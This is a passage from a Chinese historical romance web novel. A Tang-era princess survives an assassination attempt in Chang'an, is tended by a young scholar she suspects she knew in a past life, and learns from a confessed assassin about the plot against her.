姜宝来与杨湘君一起走出了酒家。
夜色渐浓,姜宝来见华灯初上后的长安城别有一番盛景,忽地生了玩乐的心思。
覃楹手挽着公主的披风随侍在一旁,见公主白皙的面容上已经染上了一层红润,倒与天边的晚霞似融为一体。
雾萝在旁递了扇,姜宝来接过轻摇了起来:“湘君姐姐,你有多久没游湖了?”
杨湘君同样微红的面容随着姜宝来一起望向波光粼粼的曲江池,嘴角绽开一抹笑意:“公主可是想游湖?”
说着,杨湘君取过了覃楹手中的披风,轻柔叮嘱道:“不过今日夜里稍凉,湖面有风,这风一吹,一个不小心就会生了风寒。公主前几日风寒初愈,待披了衣裳我们再一同去。”
姜宝来听到这儿不禁莞尔道:“你怎么知道我生了风寒?可是文君与你说的?”
杨湘君道:“前些时日妹妹来过沈家。”
姜宝来有些疑惑:“那你怎么不来看我?”
覃楹在一旁听着,想着今日初到沈家时,湘君娘子留她在屋子里吃茶,她似乎隐约看见她的书案上放了一摞书籍。
她也爱书,从前在掖庭的日子只有浆洗不完的衣裳,与望眼欲穿的屋顶上一片片数不清的琉璃瓦。
后来她去了公主府,公主给了她时字的机会。有时午夜做了噩梦,再一睁眼以为仍然与阿娘相依为命在掖庭,看着阿娘生了冻疮的双手。
但,公主府内,窗前的那片沉静的月光,似乎每一夜都在告诉她,她也不是掖庭的洗衣奴了。
覃楹她没瞧清,但后来沈夫人派房里的侍女去湘君娘子房里送东西,她才知道那书案上放着的是沈家的“家训”。
白纸黑墨上是这位沈家沈夫人日夜抄下的:女有四行。
覃楹看着跋扈,完全不将这位沈家少夫人看在眼里的侍女,默然一瞬走了过去。
但杨湘君却一手拉住了她,不动声色地朝她笑了笑。
杨湘君还未答话,街道上忽然冒冒失失跑来一人,原是沈府管家。
沈管家一把年纪跑得上气不接下气,还未等靠近,便远远地被公主府守卫拦了下来。
沈管家见状朝着被护在人群中的公主先是一番辑礼,又见杨湘君没过去,于是只好伸着脖子喊道:“少夫人,老奴可是寻到你了。郎君今日午时出府后一直未归,夫人在家急得不行。少夫人快去与老奴一块寻郎君吧。”
姜宝来听见这一句气笑了,只一声:“她去有什么用?”
“你家郎君是三岁小儿,自己寻不到家门?”
沈管家赔笑,很快又听被簇拥下的公主一声命令:“去准备游船!”
沈管家此时满头大汗,也不知是一路奔波寻到这儿来,还是看着这位盛气凌人的帝家公主,带着摆明了不放人的态度导致的。
很快又有沈府的小厮来寻,瞧见额头冒汗的沈管家,俯着身低声道:“沈管家……郎君在北里被……被灌醉了酒。”
沈管家一听满长安城在寻的郎君竟是在北里,眼前一黑,后退一步,险些栽了过去。待回过神来,连忙道:“少夫人还是随老奴回去,将郎君……”
“将什么?将他沈川带回府?”
“行啊!一向洁身自好的鸿胪寺卿沈川竟然去了平康坊!”姜宝来蓦地动了怒:“你这老奴,今日可是要跟我抢人?”
侍女们眼见着公主眸中的愠色升起,再看一旁的杨湘君面色平静,就好似今日无一丝涟漪泛起的曲江池。
姜宝来再一声厉语,吩咐覃楹与其他侍女:“去,带着杨娘子去东市也好,西市也好,你们几个今日不必再出现在我面前,什么衣裳绸缎、玉佩璎珞,她喜欢什么就买下什么。”
“雾萝,拿钱来。”
“今日这些不花掉便不准回府。”
姜宝来看着雾萝将鼓囊囊的钱袋子交给了覃楹,又拨了两个守卫给覃楹交代了她一番,这才心满意足地上了步辇。
但杨湘君却没有真的那般去做,覃楹劝不过只好依言将她送回了沈府。
沈家众人站在沈宅的门廊下等着沈川回府,没成想等来的却是浩浩荡荡的一行人。
沈夫人眼瞧着杨湘君下了马车,却没见着沈川,不免问:“大郎呢?”
杨湘君仍然温婉地道:“今日儿媳与公主在东篱酒肆吃酒,不知郎君去向。”
沈夫人气急:“我不是让管家去叫你带你夫君回府。”
杨湘君面色平静:“不知郎君去了何处,儿媳如何带?”
沈夫人一敲鸠杖,却碍于有外人在场,敢怒不敢言。正想着关起自家门来在细说家内事,这个打小就定下的婚约她是如何也看不惯的。
她儿,怎么说也要娶回个公主才是,再不济一个皇室宗亲里的郡主、县主也好。
杨湘君转身朝覃楹道谢便朝府里走去,沈夫人又不免大喊:“你要回哪里去?大郎还不知去向。”
沈夫人话音刚落,远远地,沈管家带着一众小厮抬着一顶软轿奔回了深宅。
软轿里坐着的是方从北里被人抬回来的沈川。
覃楹依旧站在原地,举止得体地开口说:“公主有令,以后湘君姑娘想什么时候出府就什么时候出府,若是有人敢阻拦那就去长乐宫找她说理。”
沈夫人气得直往后仰,沈家一时乱作了一团,覃楹头也不回地带人离去。
-
回长乐宫的路上,姜宝来已将那些不愉快抛在了脑后,一闲下来不免想起了那件“十万火急”的正事。
“这几日没有哪个宅子送来帖子?婚嫁的?赏花的?没事儿坐在一起纯粹是为了比较的?”
姜宝来见步辇下的雾萝仔细回忆了起来,又补充:“乌泱泱一片人,人越多越好,不拘哪个,也不拘是老的少的。”
雾萝奇怪:“公主是想解闷?”
姜宝来心道安静了这么些时日,凶手也该出动了。
雾萝见公主没吭声,又仔细想了一阵,还真有些宴席。她抬起头正想回禀,却见公主不在似方才那般懒洋洋地靠在步辇的车璧上,而是睁着一双如水光盈盈般的眼朝热热闹闹的街市看去。
雾萝为此也瞧了瞧,这一瞧也瞧出了不对劲来。
真是奇了,今日的路竟然格外的宽敞。平日里经这条热热闹闹,东西市交接的这条宽巷,那是人挤人,有时候甚至水泄不通。
但遇见皇室的仪仗步辇,许多人都会自行避开。
可今日嘛,街市上也没什么行人啊!
雾萝还在想着,步辇上的姜宝来已一声令下:“多吉!”
与此同时,街巷里,一素衣郎君极快抓起一筐果农还未售出的果子朝着不远处载着姜宝来的那抬七珍步辇下丢去。
一个、两个、三个,数颗果子从竹筐里相继跌了出来,抬轿的仪卫为躲避那些突然滚落过来的果子,难免将步辇抬得偏了偏。
多吉也在姜宝来
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一声令下时猛地抬起了头,只短短几息的功夫便发现了前面的异样。他拿过长弓,很快一道箭矢划破夜空,紧接着又是一道箭矢朝着远处的屋檐精准射去。
步辇后魏翊扬一声高喊:“保护公主!”
而远处屋檐上也在这时,同样一支箭羽穿过人群射向了那顶七珍步辇后的另一顶软轿。
里面坐着的是兵部侍郎夫人,当场毙命。
多吉即刻朝远处奔去。
雾萝及众长乐宫守卫持着长剑团团围在了步辇前,姜宝来也在这时缓缓起了身。
方才那一瞬的变故,使她发间的镶着珠子的金步摇猛地砸向了她的眼角,此刻她还感觉有些晕。
姜宝来的足尖还未落地,魏翊扬便一手将她从步辇下里拉了出来,正此时另一只指节修长的手也从左侧伸了过来,握在了她的腕间。
乌云刚刚穿过了的皎月下,两个方加冠的少年双双对视起来。
姜宝来一手扶着眼角,看向了那从左侧而来的不速之客,那个牢牢握住她手腕的人:“程子煦?”
魏翊扬听见她开口,这才挪开了眼,开口问:“没事吧?”
姜宝来望着远处黑漆漆的一片,摇摇头,问:“你怎么在这儿?”
魏翊扬笑了笑:“你是什么性子我不知道?想着你可能有事瞒着我。我越想越不对劲,想去东篱酒肆找你,又听店家说你走了,这便追了过去。”
姜宝来听着没吭声。
魏翊扬又道:“我去看看后面。”
金吾卫的人也在这时陆续赶来,在确认公主无虞后又去看身后已死去的妇人。
魏翊扬朝着瑟瑟发抖的侍女、小厮瞥了一眼,有衙署的卫士上前来道:“大人,是兵部董侍郎的夫人。”
“没气了……”
魏翊扬看了一眼前面的那顶七珍步辇,默然一瞬道:“我知道。”
“死了。”
姜宝来隐在裙袖下的一双手渐渐握成了拳,很快随多吉离去的守卫们带着一尚不知死活,留着黑胡须的大汉走了过来。
多吉道:“晕过去了。”
姜宝来垂着眸,望着那筐散落一地的果子,而后看向了程晚。
片刻,她开口:“程子煦!你,跟我来!”
长乐宫内,覃楹也赶了回来,听闻了公主遇刺一事,雾萝手拿着药膏示意雾萝:“公主的手似乎受伤了。”
覃楹接过药膏,道:“我去瞧瞧。”
谁知公主却一言不发,只让众人退下。
覃楹见此将药膏放在了一旁的矮几上,并走出屋子关上了门。
屋子里只剩下了她与程晚二人。
殿内静得异常,程晚恍若未觉面前得那道丝毫不加以隐藏的恼怒目光。而是看向了她的掌心,是方才指甲嵌进手心留下的一片血痕。
姜宝来一字一句道:“程!子!煦!你,怎知有人要害我?会预判先机?”
程晚温声答:“公主不是要吃馎饦,那日碰上老伯家中有事未出摊,今日才来。不过臣晚了一些,目下已申时三刻。”
他仍然温声解释着:“我看见了房檐上的人但开口提醒已经来不及了,只能抓了些果子。”
不过那些被踩烂了的果子他还没有给那果农钱。
姜宝来又抬起眸,看向他从容的面容与方才拉住她手腕时那一闪而过的慌乱,还有他衣衫上的馎饦汤汁。
她开口说:“程子煦,为什么我每次、每一次,都有你在?”
15. 擦药
程晚却只盯着她的手瞧。
姜宝来循着他的视线垂下了头,这才发现了她那双满是血痕的手。
程晚回身,拿起矮几上的药瓶,一手再次拉着她的手腕将她带到了凉台上,而后坐下。
头顶的明月映进了一池碧绿,荷香四溢。
程晚蹲下身,一臂支撑在弯曲的膝上,又再一次地虚握、轻触着拉过她的一手,开始认真上起药。
姜宝来蓦地眼皮一跳:“疼——”
程晚:“方才怎么没觉得?”
姜宝来道:“气得!”
“那现在不气了?”程晚温声问。
姜宝来本是垂着眸,听着他的温语又抬起头来看他。
这个睫毛精,真是成了精。
他今日穿了一件天水碧色的束腰长衫,一头乌黑的发只用一条同色的发带束着,也没插簪。
姜宝来自幼接触的都是皇室宗亲或贵族子弟,看惯了身边数不胜数的那些华裳锦袍,这个寻常的素衣打扮倒是让她觉得有些独特。
只不过嘛,这腰间少了一个腰佩。
长安子弟,无论青年还是少年,人人腰间都悬着一个玉腰佩。显得人文雅又彰显身份。
只不过嘛,这人与人也是有天壤之别的,比如鸿胪寺卿沈川。
姜宝来想到此轻哼了一声,又认真地看向他那双长而浓密的睫毛来。而程晚也在认真地给她的另一只手上着药。
姜宝来空出了一只手,忽然鼻间闻到了一缕芬芳,她朝四周望了望,最后在一旁的花几上瞧见了花瓶里今早侍女们采摘的那些花枝。
姜宝来伸出手揪下了一朵火红的石榴花,而后插在了他的束发上。
程晚本在给她上药的手一顿,随后一笑。
姜宝来叫道了一声:“簪花郎。”
程晚含笑。
姜宝来再道:“你怎么脾气这么好?什么都与你无关是不是?”见他已上好了药,又指派起他:“程子煦,将妆奁前的小镜子拿来。”
程晚将药瓶重新合上,起身放回了原位,依言去她妆台前取了那面铜镜递了过去,浅笑道:“公主在镜子里看到了什么?”
声音就如涓涓流水。
姜宝来听见他这般问,有些烦躁地瞥了他一眼。问他:“那你看见了什么?”
“嘉福公主的美貌,对不对?”
程晚失笑:“子煦面前的公主若是在笑,铜镜里的公主也是面带笑容的。若公主心生了怒气,铜镜里的公主也是带着恼火的。”
姜宝来手拿着小铜镜,瞧见镜中的自己一双蛾眉微微倏了起来,眼中也跟着流露出几分愠色。
她问:“你想说什么?”
程晚道:“比如,铜镜里的公主目下在瞪着我……”
姜宝来一听,顿时声色俱厉,随后抓起身旁的软枕就朝着他丢了过去。
“程晚!”
程晚立时接过,嘴角边隐忍带着一抹笑意,又忙朝着她一辑礼:“所以镜中的自己也在不觉中成了自己的敌人。”
“我们先战胜自己的敌人,再对抗真正的敌人,与它交锋、抗衡。”
“喜怒哀乐不形于色,敌人难以琢磨自会心惊胆跳。”
程晚将手中的软枕重新归还于姜宝来,温润道:“但敌人之外,公主大可以分享你的喜怒哀乐。自会有人愿意倾听。”
姜宝来听懂了他的话,忽地笑吟吟道:“程子煦,那我有没有在你面前做自己,你来猜一猜。”
说着她又朝着他勾了勾手指:“走近一些,我有悄悄话与你说。”
程晚依言走上前,直到凉台她入座的美人靠前一步之遥停下。
姜宝来眉心微蹙,二话不说伸出手指勾进了他的束衣腰带。
程晚一愣,紧接着便是猝不及防地鼻尖相触,又只是一瞬,姜宝来顺滑如绸缎般的头发滑过了他的面颊。
姜宝来附耳道:“程子煦!你来说,从前本公主从未见过你,你我素未谋面,为何我又会在……梦里屡屡见过你,就算梦醒了也阴魂不散!”
“程子煦,前世你对我做了什么?”
程晚再是一顿,而后说:“看来子煦与公主前世定有渊源所在。今世定要与公主患难与共。”
姜宝来稍稍侧过了头看他,见他眼眸弯弯,嘴角也带着和煦的笑意,一双小梨涡凹陷,又带着几分腼腆。
姜宝来自是看得出来,也听得出来,他竟然再打趣她。
姜宝来秀眉一蹙,再次叫了一声他的名姓:“程!晚!”
程晚笑:“看来公主目下定是不气了。”
谁料,下一刻,面前的公主一双明眸忽然水雾弥漫,滚滚而落两颗剔透泪珠。
程晚定在原地。
“公主为何流泪?”
谁知他一开口,姜宝来再一次地泪眼汪汪。
程晚瞧了瞧周围却未找到任何能给她拭泪的帕子,下一刻,姜宝来突地一把抓住了他的衣袖擦起了面颊的泪珠。
她微微抽泣着道:“程子煦,你真是不解风情,姑娘哭了是不是要擦泪珠?是不是要柔声安慰?是不是要想着法子去哄一哄?你在干什么?”
程晚安安静静地站在原地,任她用自己的衣袖擦着泪。看着自己衣袖上忽然多出来的一片水渍,他道:“子煦不敢逾矩唐突。”
姜宝来更气了。
“你!”
她一手抓在他的衣襟上,情急之下程晚一手撑在了姜宝来身侧的美人靠上。
自然红润的嘴唇擦过她眉心的花钿,只是一瞬,程晚很快站了起来。
姜宝来当即抓住他白皙修长的一只手正欲咬下,却在就要下口的那一刻,又改变了攻略之地。
方才那一瞬眉心的酥痒直到现在还未散去。
姜宝来起了身,这一次想也未想咬上了他雪白的脖颈,狠狠地咬下。
“程子煦!你每次都能把我气得半死!”
程晚白皙干净的面容,唰地一红,明瞳中满是错愕。
姜宝来忽然破涕而笑:“还有,方才,骗你的。我可没哭。”
“此为与敌人交锋一计,怎么样?有没有骗过你?”
她微微扬着下巴,笑盈盈地望向程晚。
程晚:“……”
“公主好生聪颖。”
程晚话音刚落,门外响起了覃楹的声音,声音断断续续的,紧接着又响起一阵脚步声。
有人问:“乐宁可有受伤?”
覃楹回道:“公主不曾受伤。”
“那……为何你们都在外面?”
覃楹没作声,雾萝在一旁说:“那个程……”
覃楹在旁轻咳了一声。
程晚这时在屋子里道:“是殿下。”
屋门从外打开
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,程晚已退到了一旁,朝着风尘仆仆而来的姜朔玉一辑礼。
本在凉台上睁着一双绿豆眼,摇头晃脑的鹦鹉阿媚,忽然张开了翅膀跃上了程晚的肩头鸣叫:“簪花郎!”
“程子煦!”
姜朔玉已迈进屋子的一只脚倏地顿住,随后沉默地看向了程晚几息。
姜宝来有些诧异,哥哥怎么知晓的这么快?
还有哥哥沉默的那几息过后,看着深更半夜出现在她闺房中的外男,是不是会大发雷霆?
茂才在外又将屋门重新关上,姜宝来等了又等,谁料姜朔玉却笑了起来,而且笑得甚是和蔼亲切。
“月朗星稀,子煦吃过晚食了吗?”
程晚如实答:“殿下,还未曾。”
姜宝来循着姜朔玉的目光再去瞧,见他衣衫上还残留着些许馎饦的汤汁。虽已经被盛夏的暑气风干,仍有一些油渍在。
姜宝来想起来了,事发前他去给她买馎饦了,那日她也只是随口说说,没想到他真的去给她买了来。
她眨巴眨巴眼:“我这里可没有男人的衣裳。”
话说到这,又觉得自己似乎在为自己辩解,为自己开脱。人家去给你买了晚食,还因为救你的缘故弄脏了衣裳,结果没有干净的衣裳换,也没有晚食可吃,还认真给她上起药来。
她再次开口:“我不是也没吃晚食吗?”
话说完了,又见两个风貌正茂的男儿郎瞧着自己,姜宝来忽地生出一种错觉,这不是她的闺房吗?怎么她倒像成了外人了?
索性,她找了把椅子一屁股坐了下去。
程晚垂着眸笑了笑,也在这时温声道:“方才在坊间抢了老伯的果子还没有付钱。殿下与公主有要事相商,子煦便不打扰了。”
姜朔玉道:“等一等,孤也有要事与你相商。”
程晚浅笑:“那臣在屋外等殿下。”
屋门再次打开又从外轻轻关上,姜宝来坐在椅子上似漫不经心瞥了一眼,这才问姜朔玉:“哥哥怎么知道?”
姜朔玉道:“阿兄当时正在松风茶肆吃茶。”说话间一缕方才还没察觉的药香渐渐吸入了鼻中,他又重新端详起胞妹。
姜宝来明白过来,道:“手受伤了。”
姜朔玉看向她手心的药膏,又问:“上过药了?”
姜宝来漫不经心地应着:“就方才出去那个人。”
松风茶肆与东篱酒肆中间只有一条宽敞的巷,原本那条街上都是酒家,多年前突然休业了一座,后来修修建建,等大家伙都反应过来的时候,那里已经变成了一家茶肆。
姜宝来自然知道,当时她还与覃楹几个说,这松风茶肆真可谓是一枝独秀。
不过她喜欢吃酒,倒是一次都没有去过那家茶肆。
姜宝来回过神来,问:“哥哥在那?”
姜朔玉点头:“在三楼雅间与人吃茶。”
姜宝来心道:当时她就在东篱酒肆的二楼,而松风茶肆的雅间大多都是沿街的,哥哥若是去吃茶,那她当时怎么没看见?”
但姜宝来也没纠结这个事多久,又问:“哥哥?你就没有一点质疑?没有一点不高兴?”
姜朔玉认真听着她说。
又听胞妹道:“外面的那个在这里!”
姜朔玉道:“不是妹妹说,阿兄的人不就是你的人么?”
姜宝来一噎。
16. 馎饦
不知从什么时候开始,门外忽然变得静悄悄的。
姜朔玉沉静的声音里带着柔和,看向妹妹,道:“人现下在大理寺,想必此事很快就会传入宫中。父皇很快就会派王贤去一趟大理寺。今日刺客的事姑且不提,阿兄只问你,那日你没有用朝食,姑母的饮宴更没有出席便去了后园的憩室。难道真的是因为姚家娘子的缘故么?”
姜宝来这一次未作声。
姜朔玉见此再道:“那好。其余的事阿兄一概不问你。阿兄来与你说说母后吧,我们的阿娘。”
“立政殿的屋檐上有多少片瓦,庭院里摘了多少棵树,每年盛夏里开了多少株花,阿兄都是知晓的。阿娘好读书,也爱医术,善待宫人。阿娘总是与我说若不是遇见父皇,她一定会离开长安。”
“少年时的阿娘一心想离开长安,幼年时的我却一心只念得长安好。长安有父皇、有阿娘。”
也有彼时康健,意气飞扬的朔玉太子。
“后来,阿娘去了,阿娘握着我的手说一定要保护好妹妹,我应下了阿娘的话,想着无论如何一定要守护住自己的妹妹。因为偌大的长安城,阿娘留给我的只有妹妹。”
“乐宁,无论何时,你只需记住,大明宫里的父皇,也可以是二弟、三弟四弟的父皇,但阿兄只是你的阿兄,我们血脉相连。”
姜朔玉说到此处,仍然笑着望向妹妹。
姜宝来沉默片刻,望向模子与自己有几分相像的胞兄,这些时日以来的如鲠在喉到底发泄了出来。
姜宝来深吸了一口气,道:“阿兄,我……我好像已经死过了一次……”
不到半个时辰,长乐宫众人只见太子的脸色,犹如笼罩了一团阴云密布般匆匆带着随侍离去。
程晚在屋门外停留了一瞬,想了想,转身朝着殿中看去,只见方才还气势汹汹的女郎此刻安安静静地站在珠帘旁,一手执着一把扇挡在自己的面上。
隐隐约约地,门廊下的程晚似瞧见她双眼肿如……就像有一日下值时在西市见得胡商售卖的小核桃。
姜宝来目送着胞兄离去,本想叫雾萝拿来几块冰给她敷眼睛,谁想一转眼看见程晚还立在门廊下没走。
姜宝来蓦地将手中的团扇重新严严实实挡在自己面上,随后朝他扬了扬下巴。
意思就是:你!速速离去!
程晚看着这无声的命令,唇角微微扬了起来,随后身体微微前倾行了一礼便随着姜朔玉离去。
哪成想,程晚方走出三四步远的距离,又听身后的女郎恶狠狠地说:“不是做了许多糕点么?把那些樱桃毕罗、绿豆糕、金乳酥啊统统给他拿去,我可没有苛待人。”
没过一会儿,程晚便见平日里跟随在嘉福公主身边侍奉的侍女,其有一人走了出来。
雾萝笑眯眯道:“程校书大人,我们家公主说了,你今日没吃晚食,这些你带回去享用。”
程晚望向那装得满满登登,顶层的盖子都盖不严实的鎏金食盒,唇角又弯了弯,接了过去。
“多谢公主。”
-
翌日茂才来了一趟长乐宫,看着又重新容光焕发的嘉福公主悄悄松了一口气。
昨日嘉福公主在坊中遇刺,皇帝大发雷霆,大明宫阖宫上下都跟着没得好,今日朝会都迟了一刻钟。
茂才说:“陛下已下令由殿下亲查此事,目下殿下已派了人在盘查城内外进出人员,不日就会有进展。公主无需担心。”
“茂才公公吃茶。”覃楹递了茶上去给他润口。
茂才还没完成太子交代的任务,又哪里有心思吃这盏茶。看着坐在方几旁由侍女涂着蔻丹的公主,他继续道:“那些刺客现被关押在了大理寺,受了一夜的刑罚,今早殿下去了大理寺亮明了身份,那头目便招了。”
姜宝来一听那刺客头目招了,不免问:“他们说了什么?”
茂才有些迟疑,但出大理寺时也没忘太子的话:若是乐宁问起来直说便是。
茂才道:“这刺客头目说是有人重金雇佣他们刺杀一个负心女,他们这些人原本是镖局的,后来老镖头去世便都散了,这些年一直在浔阳郡做些□□的生意,后来有人找到他们说未婚妻子与情郎跑了,正巧这头目的小弟有个老相好前些时日卷钱跑了路,大家伙便接下了这桩生意。”
“这头目招供时正巧中郎将也在衙署里,听说此人在浔阳郡便要去追查此事,还是殿下拦了下来。”
姜宝来听到这,当即抽出了手让茂才止话:“等等。浔阳郡?”
她怎么听着有些耳熟。
姜宝来还在仔细回忆,一旁的雾萝已经在旁撸了衣袖:“好啊!胆敢刺杀我们公主,还要诋毁我们公主。什么负心女?脏心烂肺的蠢蛋,若是要找到凶手婢子第一个揍他头破血流!”
覃楹立在一旁突地目光一闪,片刻与姜宝来双双抬起头来。她道:“公主。”
覃楹与公主对视。
姜宝来忽然起了身对茂才道:“去姚家问问,姚芳好那好表哥,杜夫人的好侄儿去哪了!”
-
茂才方离去,长明帝便派了已头发花白,走起路来颤颤巍巍的袁奉御来瞧。
袁奉御花白的胡子也随着他的步子一抖一抖地,瞧见从小看到大的小公主不由得老泪纵横:“公主啊!老臣来了!”
“怎么遇刺了呢!”
“这些个无耻之徒,太缺德了……”
姜宝来面色变了变,亲迎着袁奉御给自己一番好好诊治,又命公主府的守卫将他送上了马车回宫交她父皇的差。
一整日,都窝在长乐宫摇椅上,看着头顶风铃的嘉福公主,让长乐宫的侍女们忧心忡忡。
尽管公主自幼的伴读,顾杨两个娘子来公主府探望公主,她也未起身。
顾绮看着闷闷不乐的公主,想了想说:“不若他日出府寻个替身吧。”
杨文君在一旁剥着果子,听着笑:“公主自吉人自有天相。”
至于姚芳好,说是那日被疯乞丐一撞,面上破了相,夜里时常做噩梦,这几日又病得下不来床。听杨文君要来公主府拜访,今日早早的便让侍女将自己做的吃食送去了杨家,拜托杨文君代自己看望公主。
姜宝来懒洋洋在摇椅上。已经在夏末了,都城的天气,白天虽热,晚上却是稍稍有些凉意的。
覃楹见公主一整日未起身,也为好好用晚食,便拿来薄毯盖在了她身上。
“公主从前夏日里生
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病时最爱食婢子做的槐叶冷淘,婢子去做一些来,公主多少用一些。”
可公主却十分地抗拒:“我哪里是病了……”
“我好着呢!”
覃楹的忧心忡忡落在了,带着馎饦与一竹篮味美透红的樱桃,准时前来公主府的程晚耳朵里。
又是申时一刻。
姜宝来也只懒洋洋地看了他一眼。
覃楹却仿佛看见了救星,道:公主不是想吃馎饦了?婢子去取了碗和汤匙来。”
姜宝来翻了身,覃楹以为公主终于应了,还没走出屋子,便听公主说:“我不想吃啊!”
程晚望着依旧在摇椅上歪躺的姜宝来,回身与覃楹低声道:“劳烦。”
覃楹一愣,一时茫然这句劳烦是劳烦她什么?但很快她明白了,这是让她去取来碗和汤匙。
覃楹望向这个突然出现在长安的郎君,也经常光顾公主府的这位校书郎,名列前茅的新科进士。从前她觉得日后长乐宫的驸马若没有太大的意外,应是魏家郎君的。
但自打这个校书郎出现,她总觉得公主有些不一样了。
或者说,世事变化无常,他日的嘉福公主驸马说不定就是这位校书郎。
公主是她的靠山,那公主的驸马,她自然也要敬如上宾。
覃楹得体笑了笑,离开了屋子。
殿内一时恢复了安静,但姜宝来显然没想让他安静。
她兴致不高地望着远处檐下的风铃,似随口一问:“程子煦,你的俸禄如何?”
程晚含笑:“自己足矣。”
“若是每日带了馎饦与公主,我会继续努力的。”
姜宝来听见他这般回答,终于又转过头仔细瞧起了他,今日他穿了一身玉白色的长衫,又去看他脖颈的遮挡。
这件衣裳嘛,衣襟好似太高了?
这般想着,她又望向食案上的那份还冒着热气的馎托,说:“不若……你喂我吃?”
程晚正要开口,姜宝来已经晃了晃自己的双手,起了身,朝着他眨眨眼:“我的手可伤着呢!你忍心这般对待病人么?”
程晚再去瞧她的手心,今日似已上过了药。
很快覃楹也带着食盘,上面放着公主平日惯用的餐碗、汤匙,还有一些清淡的小菜和两盏冰镇的乌梅饮回了屋子。
姜宝来看着多出来的那盏乌梅饮轻哼了一声,对他道:“程子煦!你这个神出鬼没的妖,你来瞧瞧,我的侍女都被你收买了。”
程晚笑,看着覃楹在将那些菜肴摆盘上桌,便有礼有节的上前道:“劳烦姑娘,我来就好。”
覃楹回头见公主没作声,虽微微竖着一双秀眉,但她自幼在公主身边服侍心里清楚,公主并没有真的发怒。
覃楹又听公主说:“退下。今日就让这程内侍为我布菜。”
程晚微笑着好,情绪很是稳定地将那份冒着热气的馎饦盛到了碗里。
姜宝来瞧着这一幕,忽地生出一股错觉,就好像她在马球场里扛起的鞠杖,一杆挥下却打在了软绵绵的一团棉花上。
于是她说:“程子煦,我饿了,今夜若是你侍奉的不好,我不介意在你柔滑的脸蛋上再咬伤一口,看你明日如何去得书院。”
17. 樱桃吻
姜宝来却没有真的让他喂饭、布菜。见他果真去金盆里净起手来,又拿起了食案上的双箸要为她夹菜,姜宝来盯着他看了看:“程子煦,你什么时候才能不与我见外?”
程晚立在原地笑了笑,温声道:“那我与公主共进晚膳,如何?”
姜宝来满意地点了点头。
程晚坐了下来,垂眸含笑。没一会儿对面便响起了细微用食的声音,是他带来的那份饦馎。
她好像并没有受昨日的刺客打扰,也或者说只短暂难过,心里不快活了一小会儿,便统统抛在了脑后。程晚听在耳里,很快拿起了一旁的金箸用起饭来。
闺阁里除了二人用饭发出的轻微声响,以及凉台的屋檐上时不时吹起的风铃,一切都静悄悄的。
程晚在这时抬起了眸,见食案上有一道鲈鱼烩已用过了不少,而他的面前还有一道煎炸的小黄鱼,她却一箸也没有动。
上一次在公主府,她也并没有着人布菜,但餐案也有这两道鱼肉,同样那道煎炸多刺的小黄鱼没有被动过。程晚想,许是这些鱼肉是平日里嘉福公主常爱吃的,下人们便常常做了这道菜肴。
于是,他拿起了一旁玉托上的公箸,夹起了一条炸得酥脆可口的小黄鱼。
二人在屋子里尚不知过去了许久,程晚忽听对面一道绵软又带着清冽的声音响起:“程子煦,你也爱吃鱼么?”
程晚抬起头。
入目的便是一身着石榴裙,头挽着高鬓的女郎,正双手托着腮,笑盈盈地朝着他望过来。
程晚方去掉了鱼尾,将一整条刚刚还完整的小黄鱼剥得彻底干净。他将面前瓷碟里白嫩碎小的鱼肉推了过去,并温声道:“公主请用。”
姜宝来一怔,很是显然地怔在了那里。
她问:“挑给我的?”
程晚说:“那日有见公主未动,但是饭桌上有,那必定是你爱吃的。”
“那日?”姜宝来想了想,短暂地陷入了回忆,原来她们已经一起共进两次晚食了。
想到这,她莞尔道:“那我们,还有后日、大后日、明年、后年、许多年以后么?”
姜宝来专注地看向对面的程晚,见对面刚刚加冠的少年郎君果真是在认真思考着,很快她听程晚说:“长安盛世,子煦来了便没有想过离开。若如此,只要公主愿意,臣会随公主与殿下左右。”
姜宝来听他这般说,前一秒还带着笑意的眼眸,忽地淡了下来。她道:“不许提哥哥,只有我。程子煦,你若非哥哥的人,你也还好是哥哥的人。倘若当日让我知道你是我二哥哥的人,若是她姚家兄妹的人,你说,我该怎么是好?”
“那我就将你变成我的人!”
姜宝来忽然满眼冰冷如霜,又道:“程子煦,你知不知道我若弱上一分便会有人欺上一分。”
程晚仍是一贯温和的语气:“公主可还记得当日在青龙寺我所说,公主为天之明珠,承天之祐,受万民爱戴,何人可欺?”
那个肖似阿娘的姚淑妃,姚圆清。
姜宝来险些脱口而出,但话到嘴边却忽然住了口。
程晚清澈的眼眸微微上扬,沉静的说:“公主为中宫先后所出,亦为陛下与先后的掌上明珠,这是永远也改变不了的事实。永远也改变不了。”
姜宝来听着这话又仔细瞧了他半晌,想着昨日对阿兄的和盘托出,后来他二人一同离去。阿兄好似极为看重这个新科进士,那她说的那些事,阿兄可有对他透漏过一二?
应该不能吧。
这些年以来她与阿兄感情极深,可以说是亲密无间,她们兄妹两个的小秘密除了阿兄的心腹茂才外,应该再无他人知晓了。
姜宝来想到此,又想了想,试探性地问:“程子煦,你来说,若是有人想害我,他是出于何种目的来害我?”
她又补充道:“不包括她姚芳好的表兄!”
程晚沉默了一会儿,望向了凉台外的月亮,开口说:“子煦目下住在延寿坊,若今日从公主的府邸离开归家的路上莫名遇了袭击,那我会想一想到底是何人生了想杀害一个‘芝麻官’的心。”
“但若我如今位极人臣,自然而然成为了一个炙手可热的人。常言一句‘官大是非多’,那这朝中或许想害我的人便多了。那子煦便要关起门来,衣不解带、废寝忘食的好好想一想了。”
姜宝来听到这忽然咯咯一笑,问:“程子煦,你平日也这般风趣幽默?”说着她想了想前些时日从多吉那里听来的消息,只知他应是寒门士子,因在朝官员里并没有程姓高门或是小族也无,却不是他家在哪里。
于是,姜宝来开口问:“程子煦,你说你目下在延寿坊住着?家中可还有他人?”
程晚答:“子煦自幼失双亲,现下一人在长安。”
姜宝来听见那句自幼失双亲默了半晌,又问:“现下一人在长安,那就是故里还有人了?”
程晚看着她微笑:“家在彭城的祖父将我待到成人,前年冬日里也去了。”
“这样啊……”
程晚见面前的女郎忽然喃喃自语起来,一手握着杯盏似在思考着什么,忽地又回眸问她:“那就是说没有其他人了,也没有定个娃娃亲,或是定了婚约什么的?”
程晚闻言一笑:“譬如公主自小就定下的驸马?”
说着又添补了一句:“不曾……”
“你说他魏翊扬?”程晚话音还未落,姜宝来突地将手中的小酒盏砸了过去,程晚起身,身子微微一闪,酒盏顺着力道掉入了身后的荷花池。
程晚似松了一口气:“公主可是要谋杀我?”
姜宝来秀眉倒倏,两手叉腰道:“那算哪门子的驸马,我可没承认!我的驸马,怎么着也要力能扛鼎!高大壮硕!能顶了我长乐宫门前的镇宅狮,做我嘉福的肉盾!”
